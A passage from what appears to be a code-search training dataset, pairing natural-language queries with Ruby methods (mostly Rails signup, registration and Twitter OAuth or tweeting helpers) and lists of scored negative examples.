SubscriptionsMailer.free_trial_end(current_user).deliver_later(wait_until: user_trial.trial_end - 1.days)\n NotificationsMailer.cancel_notifications(current_user).deliver_later(wait_until: user_trial.trial_end)\n end\n\n users_preferences_path(is_onboarding:true, redirect_to_valid:true)\n end\n else\n pricing_path(is_onboarding:true, go_to_law: params[:go_to_law], go_to_checkout: params[:go_to_checkout], user_just_registered: true)\n end\n end", "def register\n \n registration_service = DeviceRegistrationService.new\n registration_response = registration_service.register(registration_params)\n\n if registration_response[:success]\n render json: registration_response, status: :ok\n else\n render json: registration_response, status: :bad_request\n end\n end", "def registering(authentication)\n\n if (authentication.nil?)\n authentication = Authentications.new\n authentication.provider = @omniauth['provider']\n authentication.uid = @omniauth['uid']\n user = Customer.new\n # authentication.user_id = user.id Need to save the user first to generate the automated unique id\n if (@omniauth['info'])\n user.first_name = @omniauth['info']['first_name']\n user.last_name = @omniauth['info']['last_name']\n user.address = @omniauth['info']['location']\n user.description = @omniauth['info']['description']\n user.email = @omniauth['info']['email'] #auth.info.email\n user.password = Devise.friendly_token[0,20]\n end\n\n /=if (@omniauth['extra'])\n user.tempInfo = @omniauth['extra']['raw_info']\n end=/\n \n #need to check if preference exists\n preference = Preference.find_by_id(RegisterController.id)\n user.preference_id = preference.id\n \n if (!user.save)\n if(user.errors.added? :email, :taken)\n user.email = new_email_from_existing(user.email)\n user.save\n end\n end\n\n preference.customer_id = user.id\n preference.save\n\n authentication.user_id = user.id\n authentication.save \n session[:user_id] = user.id\n \n flash[:notice] = \"Thanks for registering\\n\"\n redirect_to root_path \n else \n redirect_to root_path, :notice => \"You already have an account!\\n Please logIn \"\n \n end\n\nend", "def sign_up \n \tif \tparams[:genero].present? and \n \t\tparams[:pais].present? and\n \t\tparams[:llegada_pais_id].present? and\n \t\tparams[:tiempo_llegada_anio].present? and\n \t\tparams[:tiempo_llegada_mes].present? and\n \t\tparams[:situacion_actual_id].present? and\n \t\tparams[:tiempo_situacion_actual_anio].present? and\n \t\tparams[:tiempo_situacion_actual_mes].present? and\n \t\tparams[:region].present? and\n \t\tparams[:vinculo_familiar_id].present? and\n \t\tparams[:email].present? and\n \t\tparams[:password].present? and\n \t\tparams[:comuna_id].present?\n\n \t\tgender = Gender.where(abbreviation_1: params[:genero])\n \t\tcountry = Country.find(params[:pais])\n \t\tsituation_arrival_country = SituationsArrivalsCountry.find(params[:llegada_pais_id])\n \t\tyear_country = params[:tiempo_llegada_anio]\n \t\tmonth_country = params[:tiempo_llegada_mes]\n \t\tcurrent_status = CurrentStatus.find(params[:situacion_actual_id])\n\n \t\trender :json => {\n \t\t\t:result => 'Nueva cuenta',\n \t\t\t:gender => gender.name,\n \t\t\t:country => country.name,\n \t\t\t:situation_arrival_country => situation_arrival_country.name,\n \t\t\t:year_country => year_country,\n \t\t\t:month_country => month_country,\n \t\t\t:current_status => current_status.name,\n \t\t\t:password => params[:password]\n \t\t}\n \telse\n \t\trender :json => {:result => 'ERROR: INGRESE LOS DATOS'}\n \tend\n \t\n end", "def register devicetype, &block\n\t\t\traise NotVerifiedError.new unless @verified\n\n\t\t\tif @username && @registered\n\t\t\t\tyield true, @username\n\t\t\t\treturn\n\t\t\tend\n\n\t\t\tmsg = %Q{{\"devicetype\":#{devicetype.to_json}}}\n\t\t\t@request_queue.post '/api', msg, :registration, nil, 6 do |response|\n\t\t\t\tstatus, result = check_json response\n\n\t\t\t\tif status\n\t\t\t\t\t@username = result.first['success']['username']\n\t\t\t\tend\n\n\t\t\t\tyield status, result\n\t\t\tend\n\t\tend", "def registration_succeeded!\n Chef::Log.info('Sumo Collector registered successfully.')\n sleep(2)\n end", "def post_signup(req)\n # Create account\n identity = Lynr::Model::Identity.new(@posted['email'], @posted['email'])\n # Create and Save dealership\n dealer = create_dealership(identity, nil)\n notify('dealership.created.demo', req, dealer)\n # Send to admin pages?\n send_to_next(req) || send_to_admin(req, dealer)\n rescue Lynr::Persist::MongoUniqueError\n attempt_signin(req)\n end", "def sign_up_candidate\n\n end", "def process(params)\n # TODO/29.12.14/06:04/tb record is build or loaded here already. Where to put my keep_copy_record?\n # Overwrite model!(params)?\n\n validate(params[:car_registration]) do |f|\n f.save\n\n write_protocol\n send_mail\n end\n end", "def process\n raise RequestValidationError unless validate\n\n @roles = get_roles\n @user = get_or_create_user\n @resource = get_resource\n @assignment = get_assignment\n @space = get_space\n @space_user = get_or_create_space_user\n\n register\n self\n end", "def create\n @registration = Registration.new(params)\n print @registration\n @registration.form = Form.find(params[:form_id])\n print @registration.form\n if @registration.save\n # send email to participant after registration not working jet.\n workshop = @registration.form.workshop\n RegistrationMailer.welcome_email(@registration, workshop.mail_template).deliver\n flash[:success] = \"Your registration was successful\"\n redirect_to success_reg_path\n else\n flash[:error] = \"Your registration was not successfull\"\n redirect_to :back\n end\n end", "def prepare\n remember_remember_me\n remember_signup_flow_type\n remember_signup_flow_origin_type\n remember_signup_flow_destination\n remember_signup_flow_network\n redirect_to auth_path(params[:network] || 'facebook')\n end", "def second_step\n\t\trender :layout => 'signup' \n\t\tend", "def create_step1\n session[:current_user_address] = params[:user][:address]\n redirect_to welcome_step2_path\n end", "def create\n @registration = Registration.new(registration_params)\n\n respond_to do |format|\n if @registration.fee_waiver?\n\n # Process registration without fees.\n if @registration.save_without_payment\n NotificationMailer.registration_confirmation(@registration).deliver\n format.html { redirect_to root_url, notice: \"Your registration was successfully created. A confirmation was sent to #{@registration.email}.\" }\n else\n format.html { render action: \"new\" }\n end\n else\n # Process registration with payment\n if @registration.save_with_payment\n NotificationMailer.registration_confirmation(@registration).deliver\n format.html { redirect_to root_url(id: @registration.id, charge_id: @registration.stripe_charge_token), notice: \"Your registration was successfully created. A confirmation was sent to #{@registration.email}.\" }\n else\n format.html { render action: \"new\" }\n end\n end\n end\n\n\n rescue Stripe::CardError => e\n redirect_to new_festival_registration_path , alert: e.message + \" Please complete your registration with a valid credit card.\"\n\n rescue Stripe::InvalidRequestError => e\n redirect_to new_festival_registration_path , alert: e.message + \" Please complete your registration with a valid credit card.\"\n end", "def user_signup_finished?\n unless is_guest?\n if current_user == User.friendly.find(params[:id])\n @user = current_user\n if @user.valid? == false # If user's attributes are missing, sends them to 'Finish Profile Page'\n flash[:alert] = \"Please finish signing up for Ossemble by entering your First Name, Last Name, Birth Date, Address, and ensuring your location is correct.\"\n redirect_to edit_user_registration_path # Finish Profile Page Setup with form\n end\n end\n end\n end", "def create\n @user = User.new(params[:user])\n\n if @user.valid?\n if params[:next_step] == 'end'\n @user.save\n redirect_to :action => 'index'\n else\n @user.step = params[:next_step]\n render :action => 'new'\n end\n else\n render :action => 'new'\n end\n end", "def signup\n return set_session_user_id!(nil, 'Введите данные.') { render :signup_new } if params_valid?(:signup)\n LdapService.mutex.synchronize do\n ldap_result = LdapService.new.add(\n email: params[:email],\n password: params[:password],\n name: params[:name],\n surname: params[:surname],\n role: 'painter'\n )\n return set_session_user_id!(nil, 'Невозможно зарегистрироваться.') { render :signup_new } if ldap_result.blank?\n user = User.find_by(ldap_id: ldap_result[:ldap_id])\n return set_session_user_id!(user.id, 'Вы вошли!') { redirect_to root_url } if user.present?\n user = User.new(ldap_result)\n return set_session_user_id!(user.id, 'Вы вошли!') { redirect_to root_url } if user.save\n set_session_user_id!(nil, 'Возникли проблемы. Попробуйте еще раз.') { render :signup_new }\n end\n end", "def create\n @registered_for = RegisteredFor.new(user_id: session[:user_id], module_code: params[:module_code])\n respond_to do |format|\n \n #calls the validateModules and checkCredits modules to verify no duplication or user does not have more than 60 credits\n if validateModules(@registered_for.module_code) && checkCredits(@registered_for.module_code)\n @registered_for.save if @registered_for.valid?\n flash[:success] = \"Now registered for #{@registered_for.module_code} | \"\n format.html { redirect_to modules_url }\n format.json { render :index, status: :created, location: @registered_for }\n else\n format.html { redirect_to modules_url}\n format.json { render json: @registered_for.errors, status: :unprocessable_entity }\n end\n end\n end", "def collect_user_info(get_password=true, \n first_time=false,\n third_party=false,\n need_email=true)\n\n values = {\n \"form_target\" => url(:handle_collect_user_info, \n get_password, \n third_party,\n need_email),\n \"user_affiliate_opts\" => Affiliate.options,\n \"first_time\" => first_time,\n \"third_party\" => third_party\n }\n\n \n @data.user.add_to_hash(values)\n\n standard_page(\"Create New User\",\n values,\n Login::EDIT_USER)\n end", "def register_for_alpha4\n service_response = UserManagement::Alpha4Registration.new(params).perform\n render_api_response(service_response)\n end", "def signup\n end", "def signup\n end", "def create\n @registration = Registration.new(params[:registration])\n @camp = @registration.camp\n respond_to do |format|\n format.html do\n if simple_captcha_valid?\n if @registration.save\n \n flash[:notice] = 'Påmeldingen er registrert.'\n render(:controller => \"registrations\", :action => \"thank_you\", :layout => \"public\" ) \n else\n render :action => \"new\" \n end\n \n else\n \n flash[:notice] = 'Koden nederst i meldingsvinduet var feil. Prøv igjen. Du trenger ikke å bry deg om store eller små bokstaver.'\n render :action => \"new\", :layout => \"public\" \n end\n end\n format.js {render :action => \"validate\"} \n end\n end", "def registerUser\n\t\tresponse = Hash.new\n\t\t\n\t\tif params[:name] != nil and params[:pass] != nil\n\t\t\tunless User.where(:name).empty?\n\t\t\t\tresponse = {:result => :failed,:message => \"specified name is already existing\"}\n\t\t\t\trender :json => response\n\t\t\t\treturn nil\n\t\t\tend\n\n\t\t\tuser = User.new\n\t\t\tuser.name = params[:name]\n\t\t\tuser.pass = params[:pass]\n\t\t\twhile user.userhash == nil do\n\t\t\t\ttmp = ((1..9).to_a + ('a'..'z').to_a).sample(25).join\n\t\t\t\tuser.userhash = tmp if User.where(:userhash => tmp).empty?\n\t\t\tend\n\n\t\t\tmystep = Step.new\n\t\t\tmystep.save\n\t\t\tuser.step_id = mystep.id\n\n\t\t\tuser.save\n\n\t\t\tresponse = {:result => :successed ,:message =>\"registered use name = #{params[:name]}\" ,:userhash => user.userhash} \n\n\t\telse\n\t\t\tresponse = {:result => :failed,:message => \"lack of information for register new user\"}\n\t\tend\n\n\t\trender :json => response\n\n\tend", "def registers(user, product)\n if(registrations.size < quantity and not user.registered_to?(product))\n user.registrations.build(:product => product, :execution => self)\n end\n end", "def check_registration\n return if current_user || current_order.guest_checkout?\n store_location\n redirect_to checkout_registration_path \n end", "def devise_save(person)\n\n User.transaction do\n build_resource(person)\n if resource.save\n yield resource if block_given?\n if resource.active_for_authentication?\n set_flash_message :notice, :signed_up if is_navigational_format?\n sign_up(resource_name, resource)\n respond_with resource, :location => after_sign_up_path_for(resource)\n else\n set_flash_message :notice, :'signed_up_but_#{resource.inactive_message}' if is_navigational_format?\n expire_session_data_after_sign_in!\n @user_email = resource.email\n #redirect_to '/home/wait_confirm_email'\n render '/home/index', layout: 'registration'\n return\n #respond_with resource, :location => after_inactive_sign_up_path_for(resource)\n end\n else\n clean_up_passwords resource\n #respond_with resource\n error = resource.errors.first[1]\n flash.now[:alert] = error\n render 'devise/registrations/register'\n end\n\n end\n end", "def registration\n @registration = Registration.for_user(current_user).for_olympiad(@olympiad).first\n @active_tab = params[:page] || \"me\"\n redirect_to :action=>\"register\" unless @registration\n end" ]
[ "0.65403473", "0.649233", "0.61639345", "0.6028734", "0.6022147", "0.59929883", "0.5958204", "0.59470737", "0.5865953", "0.5841621", "0.58402544", "0.5783937", "0.5765125", "0.57609355", "0.57416904", "0.57406723", "0.5730389", "0.5721868", "0.57162064", "0.57154447", "0.571512", "0.5712031", "0.57082236", "0.5694995", "0.5691721", "0.5670709", "0.5660057", "0.5660057", "0.5660057", "0.56600064", "0.56531006", "0.5642549", "0.56406647", "0.5635853", "0.5632828", "0.5618128", "0.56077784", "0.55992436", "0.55987465", "0.55957687", "0.55922705", "0.55920684", "0.55820185", "0.558199", "0.55807513", "0.5580169", "0.55771035", "0.557399", "0.55704993", "0.55671185", "0.5561554", "0.5550783", "0.55505997", "0.555055", "0.5526635", "0.5519902", "0.5496562", "0.54905635", "0.5488007", "0.5483583", "0.5482289", "0.5438357", "0.5431937", "0.5431365", "0.54205", "0.5418711", "0.54141384", "0.5413414", "0.5404656", "0.5399685", "0.5383901", "0.5381737", "0.53810346", "0.53807276", "0.5374046", "0.5370906", "0.5370499", "0.53684366", "0.5362092", "0.535815", "0.535347", "0.5351557", "0.5350389", "0.53486544", "0.5348274", "0.5346694", "0.53370744", "0.5337072", "0.5336826", "0.5330506", "0.53294486", "0.5313428", "0.5309187", "0.5309187", "0.53015566", "0.52979445", "0.52827805", "0.5282294", "0.528147", "0.52812576" ]
0.54654896
61
Ask the influencer to link his twitter account
def link_twitter end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def twitter\n callback_from :twitter\n end", "def twitter_link(player)\n if player.twitter_screen_name\n # clean up any bad characters in a player's twitter name\n twitter_user = player.twitter_screen_name.sub(/^.*[@\\/]/, '')\n\n link_to(\"@\" + twitter_user, \"http://twitter.com/#{twitter_user}\")\n end\n end", "def twitter\n handle_oauth\n end", "def twitter_ref_link\n url = u(root_url(:ref_id => current_user.id))\n \"http://twitter.com/home/?status=#{u(Setting::get('Facebook invitation text'))} #{url}\"\n end", "def twitter_url; \"https://twitter.com/#{twitter}\" end", "def twitter_url\n twitter_user.blank? ? nil : \"#{TWITTER_URL}#{twitter_user}\"\n end", "def twitter\n handle_callback(:twitter)\n end", "def twitter\n default_oauth_callback do |auth|\n # username may already be taken, user will have to enter another one\n if User.exists? username: auth.info.nickname\n redirect_to controller: '/registrations', action: 'twitter_screen_name_clash'\n else\n default_oauth_fail\n end\n end\n end", "def twitter_link(username, link_options = nil)\n # default options\n link_options ||= {target: '_blank', rel: 'nofollow'}\n\n if username.present?\n link_to \"@#{username}\", \"https://twitter.com/#{username}\", link_options\n end\n end", "def twitter_url(username)\n \"https://twitter.com/#!/#{username}\"\n end", "def twitter\n\t\thandle_omniauth_callback(request.env['omniauth.auth'])\n\tend", "def twitt\n if PLANETOID_CONF[:twitter][:users][:send_twitts]\n twit=Twitter::Base.new(Twitter::HTTPAuth.new(PLANETOID_CONF[:twitter][:user], PLANETOID_CONF[:twitter][:password]))\n twit.update \"#{PLANETOID_CONF[:twitter][:users][:prefix]} #{self.name} #{PLANETOID_CONF[:site][:url]}/#{self.slug}\" \n end\n end", "def post_to_twitter\n tweet = event_post_to_twitter(current_user.events.find(params[:id]))\n if tweet\n tweet_url = \"https://twitter.com/#{current_user.twitter_username}/status/#{tweet.id}\"\n redirect_to request.referer,\n :flash => { :success => \"Your event has been twitted,\n <br><i class='fa fa-twitter'></i> \n <a href='#{tweet_url}' rel='nofollow' target='_blank'>#{tweet_url}</a>\" }\n else\n redirect_to request.referer, :flash => { :error => \"Ooops. something wrong\" }\n end\n end", "def tw_profile_url\n \"http://twitter.com/intent/user?user_id=#{tw_user_id}\"\n end", "def twitter?\n false\n end", "def url\n \"http://twitter.com/#{self.username}/statuses/#{self.twitter_id}\"\n end", "def twitter_connect\n access_token = OAuth::AccessToken.new(UserSession.oauth_consumer, self.oauth_token, self.oauth_secret)\n user_info = JSON.parse(access_token.get(\"https://twitter.com/account/verify_credentials.json\").body)\n self.twitter_name = user_info['name']\n self.twitter_screen_name = user_info['screen_name']\n self.login = 'twitter_' + user_info['screen_name']\n self.password = \"5uttr33_#{self.login}\"\n self.signup_source = 'twitter'\n self.save\n end", "def twitter_connect\n access_token = OAuth::AccessToken.new(UserSession.oauth_consumer, self.oauth_token, self.oauth_secret)\n user_info = JSON.parse(access_token.get(\"https://twitter.com/account/verify_credentials.json\").body)\n\n self.login = user_info['screen_name']\n self.twitter_name = user_info['name']\n self.password = \"5uttr33_#{self.login}\"\n self.signup_source = 'twitter'\n self.save\n end", "def share_on_twitter_url(object)\n url = member_url([@tier, @topic, object])\n title = object.title\n \"http://twitter.com/home?status=#{url}\"\n end", "def click_on_join_with_twitter_button\n\n click_on JOIN_WITH_TWITTER_BUTTON\n sleep(2)\n\n end", "def create\n if Sidewalks::Informants::Twitter.client.\n follow(params[:user][:provider_screen_name])\n\n flash[:notice] = \"User was followed.\"\n end\n\n redirect_to admin_users_path\n end", "def follow\n\t\t@twitter = Twitter::Client.new(\n\t\t\t:oauth_token => @bot.tw_token,\n\t\t\t:oauth_token_secret => @bot.tw_secret\n\t\t)\n\n\t\t@tweet = Tweet.find(params[:tweet])\n\n\t\t@twitter.follow(@tweet.tw_usuario)\n\t\t@tweet.estado = 1\n\t\t@tweet.save\n\n\t\tmensaje = \"Se sigue a \" + @tweet.tw_usuario\n\t\tredirect_to(bot_tweets_path(@bot), notice: mensaje)\n\tend", "def connected_to_twitter?\n twitter_token && twitter_secret\n end", "def click_on_login_with_twitter_button\n\n click_on TWITTER_BUTTON_LOGIN_MODAL\n\n end", "def follow\n @twitter = Twitter::Client.new(\n :oauth_token => @bot.tw_token,\n :oauth_token_secret => @bot.tw_secret\n )\n\n @tweet = Tweet.find(params[:tweet])\n\n @twitter.follow(@tweet.tw_usuario)\n @tweet.estado = 1\n @tweet.save\n\n mensaje = \"Se sigue a \" + @tweet.tw_usuario\n redirect_to(bot_tweets_path(@bot), notice: mensaje)\n end", "def tweet\n\treturn \"Tweet Tweet Twitter\"\nend", "def set_twitter_user\n @twitter_user = current_user.twitter_users.find(params[:id])\n end", "def twitter\n auth = request.env['omniauth.auth']\n current_user.company.create_or_update_twitter_account(auth)\n\n flash.notice = 'Authorized Twitter account successfully.'\n redirect_to twitter_accounts_path\n end", "def url\n @author_url ||= begin\n \"http://twitter.com/#{self.screenname}\" if self.screenname\n end\n end", "def select_twitter_account(account_name)\n account = input_elements[:twitter_account_start] + account_name + input_elements[:twitter_account_end]\n @page.find(account).click\n end", "def set_twitter_user\n @twitter_user = TwitterUser.find(params[:id])\n end", "def main_url\n return nil unless twitter\n \"http://twitter.com/#{twitter.downcase}\"\n end", "def tweet\r\n\treturn \"tweet tweet tweet\"\r\n\tend", "def twitter(name: T.unsafe(nil), nickname: T.unsafe(nil), uid: T.unsafe(nil)); end", "def twitter?\n self.provider == 'twitter'\n end", "def twitter_check\n begin\n unless twitter.blank?\n RestClient.get \"twitter.com/#{twitter}\"\n end\n rescue\n errors.add :base, \"Invalid Twitter account.\"\n end\n end", "def twitter\n @data['social']['twitter']\n end", "def twitter_url(json)\n \"http://twitter.com/#{json['from_user']}/status/#{json['id']}\"\n end", "def apply_twitter(omniauth)\n if (extra = omniauth['extra']['user_hash'] rescue false)\n end\n end", "def twitter\n unless @twitter_user\n provider = self.authentications.find_by_provider('twitter')\n @twitter_user = Twitter::Client.new(:oauth_token => provider.token, :oauth_token_secret => provider.secret )rescue nil\n end\n @twitter_user\n end", "def follow\n twitter = Twitter::Base.new(TWITTER_USER, TWITTER_PASSWORD)\n begin\n twitter.create_friendship(twitter_id)\n twitter.follow(twitter_id)\n rescue Twitter::AlreadyFollowing => following\n logger.warn \"Failed to follow #{twitter_id}; we're already following them.\"\n end\n twitter.d(twitter_id, \"http://workon.cyberfox.com/user/#{access_key} to view recent tasks. 'd workon {task}' to add, 'd workon done' to finish. ~2min response time.\")\n end", "def twitter\n @user = current_user\n if params[:oauth_verifier]\n if @user.user_content.twitter_token.blank?\n clientTwitter = TwitterOAuth::Client.new(:consumer_key => TwitterEnv::API_KEY, :consumer_secret => TwitterEnv::SECRET_KEY)\n pin = params[:oauth_verifier]\n access_token = clientTwitter.authorize(session[:rtoken_twitter], session[:rsecret_twitter], :oauth_verifier => pin)\n @user.user_content.twitter_token = access_token.token\n @user.user_content.twitter_secret = access_token.secret\n @user.user_content.save\n else\n clientTwitter = TwitterOAuth::Client.new(\n :consumer_key => TwitterEnv::API_KEY,\n :consumer_secret => TwitterEnv::SECRET_KEY,\n :token => @user.user_content.twitter_token, \n :secret => @user.user_content.twitter_secret)\n end\n end\n \n redirect_to \"/backend/social\"\n end", "def connect_twitter\n auth = request.env[\"omniauth.auth\"]\n current_member.twitter_token = auth[\"credentials\"][\"token\"]\n current_member.twitter_secret = auth[\"credentials\"][\"secret\"]\n current_member.twitter_id = auth[\"uid\"]\n if current_member.img_url.blank?\n current_member.username = auth.info.name\n current_member.img_url = auth.info.image\n\t end\n current_member.save\n\t TwitterModel.store_urls(current_member)\n\t redirect_to members_social_sign_up_path\n end", "def share_to_twitter?\n self.tweet_id == TWSharing::Underway\n end", "def twitter_id(user_id)\n %Q|<a href=\"//twitter.com/#{user_id}\" link=\"_blank\">#{user_id}さん</a>|\nend", "def twitter_profile\n @network = current_user.network ||= Network.new\n (@network.twitter.nil?) ? \"\" : @network.twitter\n end", "def tweet(t)\n @t = t\n @followers.each do |observer|\n observer.read(self)\n end \n end", "def select_twitter_account(&callback)\n account_type = @store.accountTypeWithAccountTypeIdentifier(ACAccountTypeIdentifierTwitter)\n\n @store.requestAccessToAccountsWithType(account_type, options: nil, completion: -> (granted, error) do\n if granted\n @accounts = @store.accountsWithAccountType(account_type)\n if @accounts.length > 0\n Dispatch::Queue.main.async do\n next_step = -> (account, &firebase_handler) do\n self.authenticate_account(account, &firebase_handler)\n end\n callback.call(nil, @accounts, next_step)\n end if callback\n else\n error = NSError.alloc.initWithDomain('TwitterAuthHelper',\n code: AuthHelperErrorAccountAccessDenied,\n userInfo: { NSLocalizedDescriptionKey => 'No Twitter accounts detected on phone. Please add one in the settings first.' })\n Dispatch::Queue.main.async do\n callback.call(error, nil, nil)\n end if callback\n end\n else\n error = NSError.alloc.initWithDomain('TwitterAuthHelper',\n code: AuthHelperErrorAccountAccessDenied,\n userInfo: { NSLocalizedDescriptionKey => 'Access to twitter accounts denied.' })\n Dispatch::Queue.main.async do\n callback.call(error, nil, nil)\n end if callback\n end\n end)\n end", "def tweet account\n if @in_reply_to_status_id then\n account.client.statuses.update! :status => @status, :in_reply_to_status_id=>@in_reply_to_status_id\n else\n account.client.statuses.update! :status => @status\n end\n end", "def tweet\n return \"chirp chirp\"\n end", "def set_ommniauth_twitter(email = 'phanha9389twitter@gmail.com')\n OmniAuth.config.mock_auth[:twitter] = auth_hash_twitter(email)\n request.env[\"omniauth.auth\"] = OmniAuth.config.mock_auth[:twitter]\n end", "def twitter?\n self.twitter_token && self.twitter_secret\n end", "def twitter?\n provider_name == 'Twitter'\n end", "def share\n # Find the relevant campaign by it's slug\n @campaign = Campaign.find params[:id]\n\n # The base URL that we can tweet from. This opens up a new tweet\n # window on Twiter's website. URL parameters like the actual\n # tweet content are filled in via javascript\n @twitter_link = \"https://twitter.com/intent/tweet\"\n end", "def twitter_user\n @twitter_user ||= TwitterClient.new.user(@user)\n end", "def check_twitter_credentials\n if session['twitter_token'].blank? || session['twitter_secret'].blank?\n redirect_to new_user_registration_path, :error => \"Debes linkear tu cuenta de twitter antes de continuar\" and return\n end\n end", "def tweet!\n TWITTER.update(\"#{title.truncate(75)} - #{tweet_users}\\n\\nhttp://beta.briefideas.org/ideas/#{sha}\")\n self.update_columns(:tweeted => true)\n end", "def share_location_on_twitter options={}\n if from_twitter?\n\n c_id = id\n c_id = \"4f696467043bac0001000002\" if Rails.env != \"production\"\n\n oauth = providers.where(provider: \"twitter\").first\n \n status_msg = self.swap_stat\n status_msg.gsub! /you/, \"me\" \n status_msg = \"On @myradddar! #{status_msg} http://www.radddar.com/#{c_id}\"\n\n Twitter.configure do |config|\n config.consumer_key = ENV[\"RDR_TWITTER_KEY\"]\n config.consumer_secret = ENV[\"RDR_TWITTER_SECRET\"]\n config.oauth_token = oauth[:token]\n config.oauth_token_secret = oauth[:secret]\n end\n\n client = Twitter::Client.new\n client.update(status_msg,{\n lat: self.loc[0],\n long: self.loc[1],\n }) rescue nil\n\n end\n end", "def follow(account, account_to_follow)\n xml = <<-\"XML\"\n <?xml version=\"1.0\" encoding=\"UTF-8\"?>\n <entry xmlns=\"http://www.w3.org/2005/Atom\"\n xmlns:yt=\"http://gdata.youtube.com/schemas/2007\">\n <yt:username>#{account_to_follow.username}</yt:username>\n </entry>\n XML\n access_token(account).post(\"http://gdata.youtube.com/feeds/api/users/default/contacts\", xml, {'Content-Type' => 'application/atom+xml', 'X-GData-Key' => \"key=#{options[:developer_key]}\"})\n end", "def add_twitter(id, twitter_name, options = nil)\n params = { 'username' => twitter_name }\n params.update(options) if options\n add_service(id, 'twitter', params)\n end", "def add_twitter(id, twitter_name, options = nil)\n params = { 'username' => twitter_name }\n params.update(options) if options\n add_service(id, 'twitter', params)\n end", "def on_mention(tweet)\n\n #this is a bot we know\n if @botinfo.key?(tweet.user.screen_name)\n bot = @botinfo[tweet.user.screen_name]\n if bot.should_reply_to()\n #reply to the bot\n bot.replies_left -= 1\n sleep(rand(5..30))\n do_reply(tweet)\n else\n log \"not replying to bot\"\n end\n\t \n else\n # Become more inclined to pester a user when they talk to us\n userinfo(tweet.user.screen_name).pesters_left += 1\n delay do\n do_reply(tweet)\n end\n end\n end", "def conection\n\n #cliente para el oauth\n cliente=OAuth::Consumer.new(\n @token,\n @secret,\n {\n :site=>\"http://twitter.com\",\n :request_token_url=>\"https://api.twitter.com/oauth/request_token\",\n :access_token_url =>\"https://api.twitter.com/oauth/access_token\",\n :authorize_url =>\"https://api.twitter.com/oauth/authorize\"\n }\n )\n #se solicita al api el token y el secret del usuario\n request_token = cliente.get_request_token\n token2 = request_token.token\n secret2 = request_token.secret\n #se abre el navegador predeterminado del sistema con la pagina de autorizacion\n direccion = cliente.authorize_url + \"?oauth_token=\" + token2\n puts \"Abriendo en el navegador: \"+direccion\n system('start '+direccion)\n #solicita el pin brindado por twitter\n print \"Clic al link anterior e ingrese el pin que aparese en la pagina del Tweeter de su navegador:\"\n pin = gets.chomp\n\tputs\n #se autentica al usuario con los datos brindados\n begin\n OAuth::RequestToken.new(cliente, token2, secret2)\n access_token=request_token.get_access_token(:oauth_verifier => pin)\n Twitter.configure do |config|\n config.consumer_key = @token\n config.consumer_secret = @secret\n config.oauth_token = access_token.token\n config.oauth_token_secret = access_token.secret\n end\n $client = Twitter::Client.new\n $client.verify_credentials\n puts \"Autenticado Correctamente\"\n\n rescue Twitter::Unauthorized\n puts \"Error de Autorizacion\"\n end\n end", "def tweet\n\t\treturn \"tweee\"\n\tend", "def user_connect_to_twitter(user)\n access = nil\n if user.twitter_token\n user_credentials = @t_credentials.clone # Keep consumer token\n # but override with user's access token\n user_credentials[:access_token] = user.twitter_token\n user_credentials[:access_token_secret] = user.twitter_secret\n# puts \"Using this token for #{user.ublog_name}: #{user_credentials[:access_token]}/#{user_credentials[:access_token_secret]}\"\n begin\n access = TwitterAPI::Access.new(user_credentials)\n rescue StandardError, Timeout::Error\n puts \"Failed to access Twitter for user #{user.ublog_name}:\\n\" + $!\n # Didn't expect this. User needs to get new token sometime.\n end\n end\n access\n end", "def hook_thyself\n me = self\n\n\n\n # Add something to tell someone\n register_command(:tweet_cmd, /^tweet$/, [/channel/, /private/]){|*args| \n me.tweet(bot, nick, args.join(\" \"))\n }\n\n\n \n # Hook for when we have successfully joined\n @config[:channels].each do |chan|\n register_hook(\"twitter_join_#{chan}\".to_sym, lambda{|m| m.channel == chan}, /join/){\n me.join_channel( chan, bot ) if nick == bot_nick # Ensure we only fire if the bot has joined, not other people\n }\n end\n\n end", "def twitter_user\n @twitter_user ||= prepare_access_token(self.token, self.secret)\n end", "def url\n \"http://twitter.com/#{attribute_get(:username)}/statuses/#{attribute_get(:id)}\"\n end", "def tweet_activated_to_influencer(tweet)\n @tweet = tweet\n\n set_attachments\n\n mail(to: tweet.influencer.user.email, subject: \"Notificaciones @ Social Target - Uno de tus tweets fue publicado\")\n end", "def follow\n\n end", "def notify_twitter\n $twitter_client.update(tweet_content)\n end", "def click_on_TW_Auth_button\n\n click_on TWITTER_AUTHORIZE_APP_BUTTON\n\n sleep(2)\n\n end", "def tweet(text)\n @followers.each do |follower|\n follower.receive_tweet(@name, text)\n end\n end", "def twitt\n if PLANETOID_CONF[:twitter][:entries][:send_twitts] && self.published > self.feed.created_at\n twit=Twitter::Base.new(Twitter::HTTPAuth.new(PLANETOID_CONF[:twitter][:user], PLANETOID_CONF[:twitter][:password]))\n twit.update \"#{PLANETOID_CONF[:twitter][:entries][:prefix]} #{self.title[0..150]} #{self.url}\"\n end\n end", "def on_mention(tweet)\n txt = tweet.text.split[1..-1].join(' ')\n response = MODEL.make_response(txt, 100)\n reply(tweet, response)\n end", "def twitter\n \toauth.authorize_from_access(oauth_token, oauth_secret)\n\t @twitter ||= Twitter::Base.new(oauth)\n end", "def twitter_callback\n\t if I18n.locale == :en\n\t \tflash[:notice] = \"Connected to Twitter successfully!\"\n\t else I18n.locale == :ar\n\t \tflash[:notice] = \"تم التواصل مع تويتر بنجاح!\"\n\t end\n\t auth = request.env[\"omniauth.auth\"]\n authentication = Authentication.find_by_provider_and_gid(auth[\"provider\"],\n current_gamer.id) || Authentication.create_with_omniauth(auth,\n current_gamer)\n redirect_to \"/gamers/edit\"\n return\n\tend", "def third_party_connect\n if tw_user_id.nil? && fb_user_id.nil?\n errors.add(\"Either twitter or facebook connect required\") \n end\n end", "def twitter=(value)\n value.gsub!(/^\\@/, '')\n write_attribute(:twitter, value)\n end", "def set_TwitterID(value)\n set_input(\"TwitterID\", value)\n end", "def set_TwitterID(value)\n set_input(\"TwitterID\", value)\n end", "def twitter_login?\n\t\tself.uid ? true : false\n\tend", "def author_url\n @author_url ||= begin\n \"http://twitter.com/#{self.author_screenname}\" if self.author_screenname\n end\n end", "def follow\n return render_error(400, \"must provide a twitter user to follow\") unless params[:twitter_user_name]\n auth = current_user.first_provider(\"twitter\")\n return render_error(404, \"user #{current_user.id} does not have a valid twitter authentication\") unless auth and !auth.blank? and auth.oauth_token and auth.oauth_secret\n \n # Do the follow asynchronously\n ShelbyGT_EM.next_tick do\n c = APIClients::TwitterClient.build_for_token_and_secret(auth.oauth_token, auth.oauth_secret)\n begin\n c.friendships.create! :screen_name => params[:twitter_user_name]\n rescue => 